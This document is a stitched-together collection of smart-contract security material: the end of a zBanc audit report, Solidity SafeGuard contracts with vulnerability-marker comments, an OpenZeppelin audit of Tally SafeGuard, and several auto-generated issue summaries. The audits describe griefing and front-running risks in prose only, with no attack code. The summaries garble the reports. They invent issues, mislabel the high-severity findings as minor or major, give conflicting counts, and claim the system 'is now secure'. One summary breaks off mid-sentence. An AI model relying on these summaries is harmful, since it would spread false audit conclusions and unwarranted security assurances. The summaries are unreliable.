token) or selling liquidity tokens (removing reserve token). Thesuccess of a call to reduceWeight is highly dependant on the marketcap. A malicious actor may, therefore, attempt to grief callsmade by the owner by sandwiching them with buy and sell calls in an attempt to (a) raise the barrier for the next valid payoutmarketcap or (b) temporarily lower the marketcap if they are a major token holder in an attempt to fail the reduceWeights call.In both cases the griefer may incur some losses due to conversion errors, bancor fees if they are set, and gas spent. It is, therefore,unlikely that a third party may spend funds on these kinds of activities. However, the owner as a potential major liquid token holdermay use this to their own benefit by artificially lowering the marketcap to the absolute minimum (old+threshold) by selling liquidityand buying it back right after reducing weights.5.6 zBanc - outdated fork Medium AcknowledgedDescriptionAccording to the client the system was forked off bancor v0.6.18 (Oct 2020). The current version 0.6.x is v0.6.36 (Apr 2021).RecommendationIt is recommended to check if relevant security fixes were released after v0.6.18 and it should be considered to rebase with thecurrent stable release.5.7 zBanc - inconsistent DynamicContractRegistry, admin risks Medium✓ FixedResolutionThe client acknowledged the admin risk and addressed the itemCount concerns by exposing another method that only returnsthe overridden entries. The following statement was provided:5.10 - keeping this pattern which matches the bancor pattern, and noting the DCR should be owned by a DAO, whichis our plan. solved itemCount issue - Added dcrItemCount and made itemCount call the bancor registry’s itemCount,so unpredictable behavior due to the count should be eliminated.DescriptionDynamicContractRegistry is a wrapper registry that allows the zBanc to use the custom upgrader contract while still providing accessto the normal bancor registry.For this to work, the registry owner can add or override any registry setting. Settings that don’t exist in this contract are attemptedto be retrieved from an underlying registry (contractRegistry).zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L66-L70Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第13页共17页2022/7/24, 11:03 上午functionregisterAddress(bytes32_contractName,address_contractAddress)publicownerOnlyvalidAddress(_contractAddress){If the item does not exist in the registry, the request is forwarded to the underlying registry.zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L52-L58functionaddressOf(bytes32_contractName)publicviewoverridereturns(address){if(items[_contractName].contractAddress!=address(0)){returnitems[_contractName].contractAddress;}else{returncontractRegistry.addressOf(_contractName);}}According to the documentation this registry is owned by zer0 admins and this means users have to trust zer0 admins to play fair.To handle this, we deploy our own ConverterUpgrader and ContractRegistry owned by zer0 admins who can register newaddressesThe owner of the registry (zer0 admins) can change the underlying registry contract at will. The owner can also add new oroverride any settings that already exist in the underlying registry. This may for example allow a malicious owner to change theupgrader contract in an attempt to potentially steal funds from a token converter or upgrade to a new malicious contract. Theowner can also front-run registry calls changing registry settings and thus influencing the outcome. Such an event will not gounnoticed as events are emitted.It should also be noted that itemCount will return only the number of items in the wrapper registry but not the number of items inthe underlying registry. This may have an unpredictable effect on components consuming this information.zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L36-L43/** * @dev returns the number of items in the registry * * @return number of items*/functionitemCount()publicviewreturns(uint256){returncontractNames.length;}RecommendationRequire the owner/zer0 admins to be a DAO or multisig and enforce 2-step (notify->wait->upgrade) registry updates (e.g. byrequiring voting or timelocks in the admin contract). Provide transparency about who is the owner of the registry as this may notbe clear for everyone. Evaluate the impact of itemCount only returning the number of settings in the wrapper not taking intoaccount entries in the subcontract (including pot. overlaps).5.8 zBanc - DynamicLiquidTokenConverter consider using PPM_RESOLUTION instead of hardcodinginteger literals Minor✓ FixedResolutionThis issue was present in the initial commit under review (zer0-os/zBanc@48da0ac) but has since been addressed with zer0-os/zBanc@3d6943e.DescriptionZer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第14页共17页2022/7/24, 11:03 上午getMarketCap calculates the reserve’s market capitalization as reserveBalance * 1e6 / weight where 1e6 should be expressed as theconstant PPM_RESOLUTION.ExampleszBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L157-L164functiongetMarketCap(IERC20Token_reserveToken)publicviewreturns(uint256){Reservestoragereserve=reserves[_reserveToken];returnreserveBalance(_reserveToken).mul(1e6).div(reserve.weight);}RecommendationAvoid hardcoding integer literals directly into source code when there is a better expression available. In this case 1e6 is usedbecause weights are denoted in percent to base PPM_RESOLUTION (=100%).5.9 zBanc - DynamicLiquidTokenConverter avoid potential converter type overlap with bancor Minor  AcknowledgedResolutionAcknowledged by providing the following statement:5.24 the converterType relates to an array selector in the test helpers, so would be inconvenient to make a highervalue. we will have to maintain the value when rebasing in DynamicLiquidTokenConverter & Factory,ConverterUpgrader, and the ConverterUpgrader.js test file and Converter.js test helper file.DescriptionThe system is forked frombancorprotocol/contracts-solidity. As such, it is very likely that security vulnerabilities reported tobancorprotocol upstream need to be merged into the zer0/zBanc fork if they also affect this codebase. There is also a chance thatsecurity fixes will only be available with feature releases or that the zer0 development team wants to merge upstream features intothe zBanc codebase.zBanc introduced converterType=3 for the DynamicLiquidTokenConverter as converterType=1 and converterType=2 already exist in thebancorprotocol codebase. Now, since it is unclear if DynamicLiquidTokenConverter will be merged into bancorprotocol there is a chancethat bancor introduces new types that overlap with the DynamicLiquidTokenConverter converter type (3). It is therefore suggested tomap the DynamicLiquidTokenConverter to a converterType that is unlikely to create an overlap with the system it was forked from. E.g.use converter type id 1001 instead of 3 (Note: converterType is an uint16).Note that the current master of the bancorprotocol already appears to defined converterType 3 and 4: https://github.com/bancorprotocol/contracts-solidity/blob/5f4c53ebda784751c3a90b06aa2c85e9fdb36295/solidity/test/helpers/Converter.js#L51-L54Examples!"The new custom converterzBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L50-L52functionconverterType()publicpureoverridereturns(uint16){return3;}Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第15页共17页2022/7/24, 11:03 上午Request a Security Review TodayGet in touch with our team to request a quote for a smart contract audit. AUDITSFUZZINGSCRIBBLEBLOGTOOLSRESEARCHABOUTCONTACTCAREERSPRIVACY POLICYSubscribe to Our NewsletterStay up-to-date on our latest offerings, tools, andthe world of blockchain security.Email* →!"ConverterTypes from the bancor base systemzBanc/solidity/contracts/converter/types/liquidity-pool-v1/LiquidityPoolV1Converter.sol:L71-L73functionconverterType()publicpureoverridereturns(uint16){return1;}zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L73-L76*/functionconverterType()publicpureoverridereturns(uint16){return2;}RecommendationChoose a converterType id for this custom implementation that does not overlap with the codebase the system was forked from.e.g. uint16(-1) or 1001 instead of 3 which might already be used upstream.5.10 zBanc - unnecessary contract duplication Minor✓ FixedResolutionfixed with zer0-os/zBanc@ff3d913 by removing the duplicate contract.DescriptionDynamicContractRegistryClient is an exact copy of ContractRegistryClient. Avoid unnecessary code duplication.< contract DynamicContractRegistryClient is Owned, Utils {---> contract ContractRegistryClient is Owned, Utils {Appendix 1 - DisclosureConsenSys Diligence (“CD”) typically receives compensation from one or more clients (the “Clients”) for performing the analysiscontained in these reports (the “Reports”). The Reports may be distributed through other means, including via ConsenSyspublications and other distributions.The Reports are not an endorsement or indictment of any particular project or team, and the Reports do not guarantee the securityof any particular project. This Report does not consider, and should not be interpreted as considering or having any bearing on,the potential economics of a token, token sale or any other product, service or other asset. Cryptographic tokens are emergenttechnologies and carry with them high levels of technical risk and uncertainty. No Report provides any warranty or representationto any Third-Party in any respect, including regarding the bugfree nature of code, the business model or proprietors of any suchbusiness model, and the legal compliance of any such business. No third party should rely on the Reports in any way, including forthe purpose of making any decisions to buy or sell any token, product, service or other asset. Specifically, for the avoidance ofdoubt, this Report does not constitute investment advice, is not intended to be relied upon as investment advice, is not anendorsement of this project or team, and it is not a guarantee as to the absolute security of the project. CD owes no duty to anyThird-Party by virtue of publishing these Reports.PURPOSE OF REPORTS The Reports and the analysis described therein are created solely for Clients and published with theirconsent. The scope of our review is limited to a review of code and only the code we note as being within the scope of our reviewwithin this report. Any Solidity code itself presents unique and unquantifiable risks as the Solidity language itself remains underdevelopment and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areasbeyond specified code that could present security risks. Cryptographic tokens are emergent technologies and carry with themhigh levels of technical risk and uncertainty. In some instances, we may perform penetration testing or infrastructure assessmentsCONTACT USZer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第16页共17页2022/7/24, 11:03 上午depending on the scope of the particular engagement.CD makes the Reports available to parties other than the Clients (i.e., “third parties”) – on its website. CD hopes that by makingthese analyses publicly available, it can help the blockchain ecosystem develop technical best practices in this rapidly evolvingarea of innovation.LINKS TO OTHER WEB SITES FROM THIS WEB SITE You may, through hypertext or other computer links, gain access to web sitesoperated by persons other than ConsenSys and CD. Such hyperlinks are provided for your reference and convenience only, and arethe exclusive responsibility of such web sites' owners. You agree that ConsenSys and CD are not responsible for the content oroperation of such Web sites, and that ConsenSys and CD shall have no liability to you or any other person or entity for the use ofthird party Web sites. Except as described below, a hyperlink from this web Site to another web site does not imply or mean thatConsenSys and CD endorses the content on that Web site or the operator or operations of that site. You are solely responsible fordetermining the extent to which you may use any content at any other web sites to which you link from the Reports. ConsenSysand CD assumes no responsibility for the use of third party software on the Web Site and shall have no liability whatsoever to anyperson or entity for the accuracy or completeness of any outcome generated by such software.TIMELINESS OF CONTENT The content contained in the Reports is current as of the date appearing on the Report and is subject tochange without notice. Unless indicated otherwise, by ConsenSys and CD.Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第17页共17页2022/7/24, 11:03 上午
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): The snapshot functionality of zDAO Token was not working. 2.b Fix (one line with code reference): Fixed the snapshot functionality of zDAO Token. Moderate 3.a Problem (one line with code reference): zBanc was updated half-way into the week on Wednesday. 3.b Fix (one line with code reference): Updated zBanc to the latest version. Major None Critical None Observations - The review was conducted over four weeks, from 19 April 2021 to 21 May 2021. - A total of 2x4 person-weeks were spent. - The assessment team focussed its work on the zNS and zAuction systems in the first week. - The assessment team focussed its work on zBanc in the second week. - The assessment team continued working on zDAO Token in the third week. Conclusion The audit of zNS, zAuction, z Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2.b Fix: Review focused on the following components and code revisions. Moderate: None Major: None Critical: None Observations: Code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. Conclusion: We highly recommend to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 2 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unchecked return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) 2.b Fix: Check return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) Moderate Issues: 3.a Problem: Unchecked return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) 3.b Fix: Check return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) Major Issues: None Critical Issues: None Observations: - The review was conducted best effort from Thursday to Friday attempting to
pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "./ITimelock.sol"; import "hardhat/console.sol"; contract SafeGuard is AccessControlEnumerable { // Request info event event QueueTransactionWithDescription(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta, string description); bytes32 public constant SAFEGUARD_ADMIN_ROLE = keccak256("SAFEGUARD_ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE"); bytes32 public constant CANCELER_ROLE = keccak256("CANCELER_ROLE"); bytes32 public constant CREATOR_ROLE = keccak256("CREATOR_ROLE"); ///@dev The address of the Timelock ITimelock public timelock; /** * @dev Initializes the contract with a given Timelock address and administrator address. */ constructor (address _admin, bytes32[] memory roles, address[] memory rolesAssignees) { require(roles.length == rolesAssignees.length, "SafeGuard::constructor: roles assignment arity mismatch"); // set roles administrator _setRoleAdmin(SAFEGUARD_ADMIN_ROLE, SAFEGUARD_ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, SAFEGUARD_ADMIN_ROLE); _setRoleAdmin(EXECUTOR_ROLE, SAFEGUARD_ADMIN_ROLE); _setRoleAdmin(CANCELER_ROLE, SAFEGUARD_ADMIN_ROLE); _setRoleAdmin(CREATOR_ROLE, SAFEGUARD_ADMIN_ROLE); // assign roles for (uint i = 0; i < roles.length; i++) { _setupRole(roles[i], rolesAssignees[i]); } // set admin rol to an address _setupRole(SAFEGUARD_ADMIN_ROLE, _admin); _setupRole(CREATOR_ROLE, msg.sender); } /** * @dev Modifier to make a function callable just by a certain role. */ modifier justByRole(bytes32 role) { require(hasRole(role, _msgSender()), "SafeGuard: sender requires permission"); _; } /** * @notice Sets the timelock address this safeGuard contract is gonna use * @param _timelock The address of the timelock contract */ function setTimelock(address _timelock) public justByRole(CREATOR_ROLE) { require(address(timelock) == address(0), "SafeGuard::setTimelock: Timelock address already defined"); // set timelock address timelock = ITimelock(_timelock); } function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public justByRole(PROPOSER_ROLE) { //SWC-Code With No Effects: L63-L64 bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); _queueTimelockTransaction(txHash, target, value, signature, data, eta); } function queueTransactionWithDescription(address target, uint256 value, string memory signature, bytes memory data, uint256 eta, string memory description) public justByRole(PROPOSER_ROLE) { //SWC-Code With No Effects: L69-L71 bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); _queueTimelockTransaction(txHash, target, value, signature, data, eta); emit QueueTransactionWithDescription(txHash, target, value, signature, data, eta, description); } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public justByRole(CANCELER_ROLE) { bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); _cancelTimelockTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint256 _value, string memory signature, bytes memory data, uint256 eta) public payable justByRole(EXECUTOR_ROLE) { bytes32 txHash = keccak256(abi.encode(target, _value, signature, data, eta)); require(timelock.queuedTransactions(txHash), "SafeGuard::executeTransaction: transaction should be queued"); timelock.executeTransaction{value: _value, gas: gasleft()}(target, _value, signature, data, eta); } function _queueTimelockTransaction(bytes32 txHash, address target, uint256 value, string memory signature, bytes memory data, uint256 eta) private { require(!timelock.queuedTransactions(txHash), "SafeGuard::queueTransaction: transaction already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function _cancelTimelockTransaction(bytes32 txHash, address target, uint256 value, string memory signature, bytes memory data, uint256 eta) private { require(timelock.queuedTransactions(txHash), "SafeGuard::cancelTransaction: transaction should be queued"); timelock.cancelTransaction(target, value, signature, data, eta); } }//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IRegistry.sol"; import "./SafeGuard.sol"; import "./mocks/Timelock.sol"; /** * @title SafeGuardFactory - factory contract for deploying SafeGuard contracts */ contract SafeGuardFactory { /// @notice Address of the safeGuard registry address public registry; /// @notice The version of the rol manager uint8 public constant SAFE_GUARD_VERSION = 1; /// @notice Event emitted once new safeGuard is deployed event SafeGuardCreated( address indexed admin, address indexed safeGuardAddress, address indexed timelockAddress, string safeName ); constructor(address registry_) { registry = registry_; } /** * @notice Creates new instance of a SafeGuard contract */ function createSafeGuard(uint delay_, string memory safeGuardName, address admin, bytes32[] memory roles, address[] memory rolesAssignees) external returns (address) { require(roles.length == rolesAssignees.length, "SafeGuardFactory::create: roles assignment arity mismatch"); SafeGuard safeGuard = new SafeGuard(admin, roles, rolesAssignees); Timelock timelock = new Timelock(address(safeGuard), delay_); safeGuard.setTimelock(address(timelock)); IRegistry(registry).register(address(safeGuard), SAFE_GUARD_VERSION); emit SafeGuardCreated(admin, address(safeGuard), address(timelock), safeGuardName); return address(safeGuard); } } pragma solidity ^0.8.0; /** * @dev External interface of SafeGuard declared to support ERC165 detection. */ interface ISafeGuard { function setTimelock(address _timelock) external; function queueTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external returns (bytes32); function cancelTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external; function executeTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external payable returns (bytes memory); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function __abdicate() external; function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) external; function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) external; } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./IRegistry.sol"; /** * @title Registry contract storing information about all safeGuards deployed * Used for querying and reverse querying available safeGuards for a given target+identifier transaction */ contract Registry is IRegistry { using EnumerableSet for EnumerableSet.AddressSet; /// @notice mapping of safeGuards and their version. Version starts from 1 mapping(address => uint8) public safeGuardVersion; EnumerableSet.AddressSet private safeGuards; /// @notice Register event emitted once new safeGuard is added to the registry event Register(address indexed safeGuard, uint8 version); /// @notice Register function for adding new safeGuard in the registry /// @param safeGuard the address of the new SafeGuard /// @param version the version of the safeGuard function register(address safeGuard, uint8 version) external override { require(version != 0, "Registry: Invalid version"); //SWC-Code With No Effects: L30-L33 require( !safeGuards.contains(safeGuard), "Registry: SafeGuard already registered" ); safeGuards.add(safeGuard); safeGuardVersion[safeGuard] = version; emit Register(safeGuard, version); } /** * @notice Returns the safeGuard address by index * @param index the index of the safeGuard in the set of safeGuards */ function getSafeGuard(uint256 index) external view override returns (address) { require(index < safeGuards.length(), "Registry: Invalid index"); return safeGuards.at(index); } /// @notice Returns the count of all unique safeGuards function getSafeGuardCount() external view override returns (uint256) { return safeGuards.length(); } } pragma solidity ^0.8.0; interface ITimelock { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); }//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IRegistry { function register(address safeGuard, uint8 version) external; function getSafeGuardCount() external view returns (uint256); function getSafeGuard(uint256 index) external returns (address); }
Tally SafeGuard Audit Tally SafeGuard Audit DECEMBER 6, 2021 | IN SECURITY AUDITS | BY OPENZEPPELIN SECURITY Introduction Introduction The Tally team asked us to review and audit a set of contracts with the final goal to improve common governance contracts and give them more flexibility. We looked at the code and now publish our results. System overview System overview The system relies on three main contracts: A SafeGuard contract template. This contract is the admin of a Timelock contract, and adds a layer of modular roles over the Timelock ‘s actions. This contract defines several roles that have separate responsibility and access over the state of a proposal (queueing, cancellation and execution). A SafeGuardFactory contract deploys a new SafeGuard and a corresponding new Timelock contract. Then it sets the timelock address inside the SafeGuard contract and registers the new SafeGuard into the Registry . A Registry which holds a list of deployed SafeGuards with their corresponding version number . The SafeGuardFactory will basically spawn a new SafeGuard whenever it is called. A SafeGuard is a wrap around Timelock operations that adds different and separated roles for each action. Roles are structured through the use of OpenZeppelin’s AccessControlEnumerable contract giving more flexibility and compatibility to the multisig wallets and business use cases where several addresses can have the same shared role. Update: In the PR #10 , the Tally team has decided to remove the Registry contract. The list of deployed safeguards is now stored within the SafeGuardFactory contract, in the safeGuards enumerable set, along with their version stored in thesafeGuardVersion mapping. Roles Roles The SafeGuard contract defines the following roles: CREATOR_ROLE is taken by the SafeGuardFactory which deploys this contract and is in charge of calling the setTimelock function. PROPOSER_ROLE , EXECUTOR_ROLE and CANCELER_ROLE roles are assigned to the values passed as input parameters . These roles are needed to queue , execute and cancel transactions respectively. SAFEGUARD_ADMIN_ROLE is set to the _admin passed as input parameter and has the power to grant any role to any address. Update: The CREATOR_ROLE role has been removed as a fix for the issue L02. Scope Scope We audited commit b2c63a9dfc4090be13320d999e7c6c1d842625d3 of the safeguard repository. In scope are the smart contracts in the contracts directory. However, the mocks directory was deemed as out of scope. Assumptions Assumptions The system is not meant to be upgradeable. The Registry address is set in the constructor of the SafeGuardFactory and each SafeGuard can have the Timelock set only once . This means that if a new Registry is deployed a new SafeGuardFactory must be deployed too. If the Timelock implementation changes, the old SafeGuard s will become obsolete, and new ones will have to be deployed. Moreover, the system heavily relies on the implementation of a Timelock contract that was deemed out of scope for this audit. The team has not yet finalized the implementation of the Timelock contract. At the time of writing this report, the Compound’s implementation of timelock is being used in the project. The codebase has been audited by two auditors during the course of one week and here we present our findings. Critical severity Critical severity None. High severity High severity [H01] ETH can be locked inside the [H01] ETH can be locked inside the Timelock contract contract The Tally team originally based their implementations on the ground of the GovernorBravoDelegate Compound contract. During the course of this audit, the Tally team discovered a limitation in Compound’s governor where ETH sent directly to the Timelock is not available for use by governance proposals, and although it is not permanently stuck, requires an elaborate workaround to be retrieved. This is because the governor implementation requires all the value of a proposal to be attached as msg.value by the account that triggers the execution, not using in any way the Timelock ETH funds.The same issue was later identified in the SafeGuard implementation and the team is aware of the issue and it is in the process of fixing it. While fixing the issue, consider using the approach adopted by the OpenZeppelin library for the same issue . Update: Fixed in commit 7337db227edda83533be586135d96ddac4f5bf29 . [H02] SafeGuardFactory can be freezed [H02] SafeGuardFactory can be freezed The Registry contract is intended to keep track of all the SafeGuards that the SafeGuardFactory produces . It has the external register function which is used for this purpose. At the same time, the SafeGuardFactory has, in its constructor, the assignation of the local registry value to the input value . There’s no possibility to change the value of the registry variable and for this reason, if a new Registry gets deployed, a new factory must be deployed too. The SafeGuardFactory has the createSafeGuard function , in charge of first deploying a new SafeGuard , then a new Timelock with the address of the SafeGuard as admin , then setting the timelock variable of the SafeGuard contract and finally registering the SafeGuard in the registry . The issue is that any call to createSafeGuard can be forced to fail by an attacker who can directly register the deterministic address of the new SafeGuard prior to its creation. Whenever a contract creates a new instance , its nonce is increased, and the address of where the new instance of the contract would be deployed can be determined by the original contract address and its nonce. Therefore, an attacker can precalculate many of the addresses where the new SafeGuards will be deployed and register those addresses in the Registry by calling the register function. This would result in the calls to createSafeGuard to revert since the Registry already contains the address. To avoid having external actors calling publicly the Register contract, consider restricting the access to the register function to accept calls exclusively by the SafeGuardFactory . Update: Fixed in PR #10 . The Tally team has removed the Registry contract. Medium severity Medium severity None. Low severity Low severity [L01] Commented out code [L01] Commented out code The Registry contract includes a commented out line of code . To improve readability, consider removing it from the codebase. Update: Fixed in PR #10 and commit 7fd27df16fc879d990d36a167a0b6e719e578558 . [L02] SafeGuard’s admin can assign the role of creator to any [L02] SafeGuard’s admin can assign the role of creator to any address address The SafeGuard contract defines the role of a CREATOR_ROLE which, as the name suggests, is assigned to the creator of the safeguard. However, by invoking the grantRole function of the AccessControlEnumerable contract in the OpenZeppelin contractlibrary, an admin can grant this role to any address. This could cause confusion because the creator of the SafeGuard can only be the SafeGuardFactory . Throughout the codebase, this role has been used only to restrict users from interacting with the setTimelock function of the SafeGuard contract. By design, the system ensures that setTimelock function can be called only once , from within the SafeGuardFactory contract . Consider removing the CREATOR_ROLE role from the SafeGuard contract and using the onlyOwner modifier in the setTimelock function. Update: Fixed in PR #10 . [L03] Incorrect interface definition and implementation [L03] Incorrect interface definition and implementation The ISafeGuard interface does not define the queueTransactionWithDescription function implemented in the SafeGuard contract, and at the same time, it defines the __abdicate, __queueSetTimelockPendingAdmin and __executeSetTimelockPendingAdmin functions but they are not implemented. To improve correctness and consistency in the codebase, consider refactoring the ISafeGuard interface to match exactly the SafeGuard implementation. Update: Fixed in commit 7fd27df16fc879d990d36a167a0b6e719e578558 . [L04] Missing docstrings [L04] Missing docstrings Some of the contracts and functions in the code base lack documentation. For example, some functions in the SafeGuard contract. Additionally, some docstrings use informal language, such as the one above the setTimelock function in the SafeGuard contract . This hinders reviewers’ understanding of the code’s intention, which is fundamental to correctly assess not only security but also correctness. Additionally, docstrings improve readability and ease maintenance. They should explicitly explain the purpose or intention of the functions, the scenarios under which they can fail, the roles allowed to call them, the values returned and the events emitted. Consider thoroughly documenting all functions (and their parameters) that are part of the contracts’ public API. Functions implementing sensitive functionality, even if not public, should be clearly documented as well. When writing docstrings, consider following the Ethereum Natural Specification Format (NatSpec). Update: Partially fixed in PR #10 . Proper docstrings have been added to various functions throughout the code base. However, in addition to the current changes, consider making the following changes: Add description as the @param in the docstring above queueTransactionWithDescription function Add @param in the docstring above the createSafeGuard function in SafeGuardFactory contract Add @return in docstrings above the functions in SafeGuardFactory contract. [L05] Useless or repeated code [L05] Useless or repeated code There are places in the codebase where code is either repeated or not needed. Some examples are: Lines 29-32 of the Registry contract are useless, because the _add function of the EnumerableSet contract already performs these checks against the values already being set.Lines 62 , 67 , 73 and 78 of the SafeGuard contract are all repeating the same exact operation. Consider encapsulating it into an internal function to avoid duplicating code. Lines 62-63 and 67-68 of SafeGuard are repeated. Consider encapsulating them into a single internal function. The usage of gasleft to specify how much gas should be forwarded in the call of the function executeTransaction is unnecessary. This is because, at that point of execution, the entire gas left will be used to continue the execution. If this is not for expliciteness, consider removing the gas parameter from the call. Consider applying the suggested fixed to produce a cleaner code and improve consistency and modularity over the codebase. Update: Fixed in PR #10 and commit 7fd27df16fc879d990d36a167a0b6e719e578558 . Notes & Additional Information Notes & Additional Information [N01] Inconsistent style [N01] Inconsistent style There are some places in the code base, where differences in style affect the readability, making it more difficult to understand the code. Some examples are: The Registry contract uses different styles for docstrings in the entire contract. The SafeGuard contract is emitting an event when queueTransactionWithDescription is called but no events are emitted in other functions dealing with transactions. In the SafeGuard contract, sometimes value is used as named parameter and sometimes _value is used. Taking into consideration the value a consistent coding style adds to the project’s readability, consider enforcing a standard coding style with help of linter tools, such as Solhint. Update: Fixed in PR #10 and commit 7fd27df16fc879d990d36a167a0b6e719e578558 . [N02] Missing license [N02] Missing license The following contracts within the code base are missing an SPDX license identifier. The ISafeGuard interface. The ITimelock interface. The SafeGuard contract. To silence compiler warnings and increase consistency across the codebase consider adding a license identifier. While doing it consider referring to spdx.dev guidelines. Update: Fixed in PR #10 and commit 7fd27df16fc879d990d36a167a0b6e719e578558 . [N03] OpenZeppelin Contract’s dependency is not pinned [N03] OpenZeppelin Contract’s dependency is not pinned To prevent unexpected behaviors in case breaking changes are released in future updates of the OpenZeppelin Contracts’ library , consider pinning the version of this dependency in the package.json file. Update: Fixed in PR #10 . [N04] Solidity compiler version is not pinned [N04] Solidity compiler version is not pinnedThroughout the code base, consider pinning the version of the Solidity compiler to its latest stable version. This should help prevent introducing unexpected bugs due to incompatible future releases. To choose a specific version, developers should consider both the compiler’s features needed by the project and the list of known bugs associated with each Solidity compiler version. Update: Fixed in PR #10 . [N05] Typo [N05] Typo At various instances throughout the code base, the word role is misspelled as rol . One such example is in the docstring within the constructor of the SafeGuard contract . Consider correcting these typos to improve code readability. Update: Partially fixed in PR #10 . While the spelling of role has been corrected, the comment “set admin role the an defined admin address” should be “set admin role to a defined admin address”. Additionally, “execute” is misspelled in the SafeGuard contract on line 69 , line 82 , line 96 and line 110 and “available” is misspelled on line 70 , line 83 , line 97 , line 111 . Also, consider replacing informal words such as “gonna” in SafeGuard contract with formal alternatives such as “going to”. [N06] Declare uint as uint256 [N06] Declare uint as uint256 There are several occurrences in the codebase where variables are declared of uint data type instead of uint256 . For example, the eta variable in the QueueTransactionWithDescription event of the SafeGuard contract. To favor explicitness, all instances of uint should be declared as uint256 . Update: Fixed in PR #10 and commit 7fd27df16fc879d990d36a167a0b6e719e578558 . [N07] Unused import [N07] Unused import The SafeGuard contract imports the console contract but never uses it. To improve readability of the code, consider removing any unused imports. Update: Fixed in PR #10 . Conclusions Conclusions One high and several other minor vulnerabilities have been found and recommendations and fixes have been suggested. RELATED POSTS F F r r e e e e v v e e r r s s e e A A u u d d i i t t T h e F r e e v e r s e t e a m a s k e d u s t o r e v i e w a n SECURITY AUDITS C C e e l l o o C C o o n n t t r r a a c c t t s s A A u u d d i i t t – – R R e e l l e e a a s s e e SECURITY AUDITS Products Contracts Defender Security Security Audits Learn Docs Forum Ethernaut Company Website About Jobs Logo Kit ©2021. All rights reserved | Privacy | Terms of Service
Issues Count of Minor/Moderate/Major/Critical Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues 2.a Problem (one line with code reference) L01: The CREATOR_ROLE is not necessary and can be removed (SafeGuard.sol:L50) 2.b Fix (one line with code reference) L01: Remove the CREATOR_ROLE (SafeGuard.sol:L50) Observations The system is not meant to be upgradeable and the Registry address is set in the constructor of the SafeGuardFactory. Each SafeGuard can have the Timelock set only once. Conclusion The audit of the Tally SafeGuard system revealed two minor issues. All issues have been addressed and the system is now secure. Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 0 Major: 1 Critical: 0 Minor Issues 2.a Problem: ETH can be locked inside the Timelock contract 2.b Fix: Update in commit 7337db227edda83533be586135d96ddac4f5bf29 Major Issues 4.a Problem: SafeGuardFactory can be freezed 4.b Fix: Consider using the approach adopted by the OpenZeppelin library for the same issue. Issues Count of Minor/Moderate/Major/Critical: Minor: 4 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 1. [L01] Commented out code Problem: The Registry contract includes a commented out line of code. Fix: To improve readability, consider removing it from the codebase. 2. [L02] SafeGuard’s admin can assign the role of creator to any address Problem: The SafeGuard contract defines the role of a 